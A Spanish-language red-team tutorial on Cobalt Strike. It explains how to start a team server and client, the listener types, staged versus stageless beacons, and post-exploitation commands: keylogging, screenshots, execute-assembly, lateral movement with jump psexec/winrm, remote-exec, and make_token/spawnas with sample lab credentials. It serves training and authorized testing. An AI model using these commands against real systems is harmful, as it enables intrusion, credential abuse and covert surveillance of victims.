Cobalt Strike

Cobalt Strike es una plataforma para simulaciones de adversarios y operaciones de red team. El producto está diseñado para ejecutar ataques dirigidos y emular las acciones posteriores a la explotación de actores de amenazas avanzados.

Conceptos

  • Team Server: Cobalt Strike server. Controlador donde se configurar los Beacons y Listeners.
  • Client: Cobalt Strike client. Interfaz para interactuar con el Team Server.
  • Listener: Un servicio corriendo en el Team Server que espera conexiones desde el Beacon.
  • Beacon: Un agente malicioso / implante en un sistema comprometido que realiza una conexión de retorno al sistema controlado por el atacante y verifica si hay nuevos comandos que deben ejecutarse en el sistema comprometido.

Configuracion

Team Server

Seleccionar la interfaz de red con la que sera accesible tu servidor. En este caso usaremos la eth0.

┌──(root㉿kali)-[/opt/CobaltStrike]
└─# ifconfig                                                                         
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.147.129  netmask 255.255.255.0  broadcast 192.168.147.255
        inet6 fe80::6504:a5c3:1c57:f178  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:f3:f4:82  txqueuelen 1000  (Ethernet)
        RX packets 177115  bytes 247388813 (235.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 21540  bytes 3279106 (3.1 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Levantamos el servidor de Cobalt Strike. Los parametros que son necesarios poner es la IP y un password.

./teamserver 192.168.147.129 admin123
[*] Generating X509 certificate and keystore (for SSL)
[*] Starting teamserver
[*] Team Server Version: 4.9.1
[*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
[*] Loading keystrokes.
[*] Loaded 0 keystrokes.
[*] Loading screenshots.
[*] Loaded 0 screenshots.
[*] Loading downloads.
[*] Loaded 0 downloads.
[*] Loading Windows error codes.
[*] Windows error codes loaded
[*] Loading hosted files
[*] Loaded 0 servers with hosted items
[*] Loading beacons
[*] Loaded 0 beacons
[+] Team server is up on 0.0.0.0:50050
[*] SHA256 hash of SSL cert is: c72c59b809bee8d68f416b3c1d3dd24724681edaf686bf3c0ae36a6ea720d5a8

C2 Client

Iniciar cobalt Strike client y poner los datos correspondientes.

Note

Los valores de User puede ser cualquiera al igual que el Alias. Los demas valores seran con los que iniciaste tu TeamServer.

chmod +x cobaltstrike-client.sh
./cobaltstrike-client.sh
./cobaltstrike-client.cmd

Listeners

Hay diferentes tipos de listeners los mas comunes son los siguientes.

  • HTTP / HTTPS: Se utilizan para recibir conexiones por medio de GET y POST. Comunmente utilizado para Initial Access.
  • TCP: Se utilizand para recibir conexiones por tuneles TCP. Comunmente utilizado para Privilege Escalation.
  • SMB: Se utilizand para recibir conexiones por el protocolo SMB. Comunmente utilizando para Lateral Movements.

Beacons (Payloads)

Cuando estás trabajando con Cobalt Strike y utilizando su infraestructura C2 (Command and Control), es importante entender cómo funcionan los payloads, ya que son la forma en que el software de Cobalt Strike interactúa con el sistema comprometido.

Las dos categorías principales stageless y stager payloads, se diferencian en cómo cargan y ejecutan el código malicioso en el objetivo.

Stageless

Un stageless payload es un tipo de payload que contiene todo el código necesario para ejecutar la explotación y establecer la conexión de C2 en un solo archivo. No requiere de una fase previa para descargar código adicional después de la ejecución inicial. Esto significa que una vez que el payload se ejecuta en el sistema objetivo, la comunicación con el C2 se establece de inmediato.

Stager

Un stager payload, por otro lado, es un tipo de payload que está diseñado para cargar un segundo payload o código adicional en el objetivo. El stager es el primer código que se ejecuta, y su tarea principal es descargar un stageless payload o un “stage” posterior que contiene el código malicioso real o la comunicación con el C2.

Call Back Beacon

Para recibir la conexion es necesario ejecutar el beacon generado previamente. Como se muestra a continuacion:

Interaction

Para interactuar con nuestro conexion damos clic derecho seguido de Interact. Una vez que obtenemos la conexion ejecutar el comando sleep para reducir el tiempo de respuesta de los comandos por default el tiempo esta establecido a un minuto.

sleep 3

Commands

Comando de ayuda.

help
help [command]

Listar procesos en el sistema.

ps

Enumerar usuarios autenticados.

net logons

Ejecutar binarios directamente de nuestra maquina a la maquina victima.

execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe -group=system

Screenshot

Tomar captura de pantalla.

screenshot
screenshot [pid]

Keylogger

Capturar datos que escriben.

keylogger
keylogger [pid]

Jobs

Listar jobs en segundo plano.

jobs

Terminar el proceso ejecutado en segundo plano.

jobkill [jdi]

TCP / SMB Beacon

Acceder a un TCP beacon.

connect localhost 4444

Acceder a un SMB beacon.

link DC01

Jump

Crear un acceso con credenciales.

jump psexec DC01 smb_listener
jump winrm64 DC01 smb_listener

Remote-exec

Ejecutar un comando en una maquina remotamente.

remote-exec winrm DC01 [command]

Crear un token con credenciales de usuario.

make_token PAY\Administrator Qwerty123

SpawnAs

Note

Este comando no requiere de local admin y suele fallar si es ejecutado de un SYSTEM beacon

Crea un proceso con las credenciales de un usuario.

spawnas PAY\ebrown !QAZ2wsx tcp-listener

Powershell

Ejecuta comandos con powershell, esto abre una terminal.

powershell Get-Domain

Ejecuta comandos powershell sin abrir una terminal.

powerpick Get-Domain

References

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm#